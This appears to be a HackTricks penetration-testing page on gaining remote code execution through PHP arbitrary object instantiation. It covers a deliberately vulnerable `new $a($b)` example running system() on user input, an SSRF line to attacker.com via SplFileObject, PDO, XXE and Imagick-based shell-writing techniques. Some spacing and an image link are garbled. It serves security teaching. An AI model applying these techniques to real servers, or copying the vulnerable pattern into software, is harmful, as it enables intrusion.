<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
In the situation where you can create a new arbitrary object like `new $_GET["a"]($_GET["a"])`you might be able to obtain RCE, and [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) exposes different ways to get RCE.
## RCE via Custom Classes or Autoloading
In the construction `new $a($b)`, the **variable `$a` stands for the class name** that the object will be created for, and the variable **`$b` stands for the first argument** that will be passed to the object’s constructor.
If `$a` and `$b` come from GET/POST, they can be **strings or string arrays**. If they come from **JSON** or elsewhere, they **might have other types**, such as object or boolean.
Let’s consider the following example:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
In this code, you can set `$a` to `App` or `App2` and `$b` to `uname -a`. After this, the command `uname -a` will be executed.
When there are no such exploitable classes in your application, or you have the class needed in a separate file that isn’t included by the vulnerable code, you may take a look at autoloading functions.
**Autoloading functions** are set by registering callbacks via `spl_autoload_register` or by defining `__autoload`. They are called when an instance of an unknown class is trying to be created.
```php
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
};
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
```
Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist.
## RCE via Built-In Classes
When you don’t have custom classes and autoloading, you can rely on **built-in PHP classes only**.
There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the `get_declared_classes` function, together with the custom classes:
```php
var_dump(get_declared_classes());
```
Classes with useful constructors can be found via [the reflection API](https://www.php.net/manual/en/book.reflection.php).
Displaying constructors and their parameters using the reflation API: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
If you control **multiple constructor parameters and can call arbitrary methods** afterwards, there are many ways to get a Remote Code Execution. But if you can pass **only one parameter and don’t have any calls** to the created object, there is **almost nothing**.
I know of only three ways to get something from `new $a($b)`.
### **SSRF + Phar deserialization**
The `SplFileObject` class implements a constructor that allows connection to any local or remote URL:
```
new SplFileObject('http://attacker.com/');
```
This allows SSRF. Additionally, SSRFs in PHP <8.0couldbeturnedintodeserializationsviatechniqueswiththePharprotocol.
### **Exploiting PDOs**
The PDO class has another interesting constructor:
```php
new PDO("sqlite:/tmp/test.txt")
```
The `PDO` constructor accepts DSN strings, allowing us to **connect to any local or remote database** using **installed database extensions**. For example, the SQLite extension can create empty files.
### **SoapClient/SimpleXMLElement XXE**
In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was **vulnerable to XXE**. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 <2.9.
## RCE via Imagick Extension
Checking the **dependencies** of the **project** you are trying to exploit you could find **new classes** that could be **abused to execute commands** creating a new object. In this case, **Imagick** was found to be useful for that purpose.
The VID parser allows to write arbitrary content in an arbitrary path inside the filesystem, which would allow an attacker to write a PHPshell in an accessible folder from the web page and get RCE.
When a file is uploaded to PHP it's temporary stored in `/tmp/phpXXXXXX` . The VID parser of Imagick with the **msl** protocol allows to **specify wildcards in the file paths** (so the temporary uploaded file can be easily accessed) and **copy it to any arbitrary location**.\
This is another way to get arbitrary file writing inside the filesystem:
.png>)
### PHP Crash + Brute Force
The [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explained another way to get RCE by **uploading files with specific content** and making the **server crash before it deletes** that file and then **bruteforcing the name** of the temporary file until **Imagick executes arbitrary PHP code**.
However, apparently the **crash trick** discovered only **worked in an old version of ImageMagick**.
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
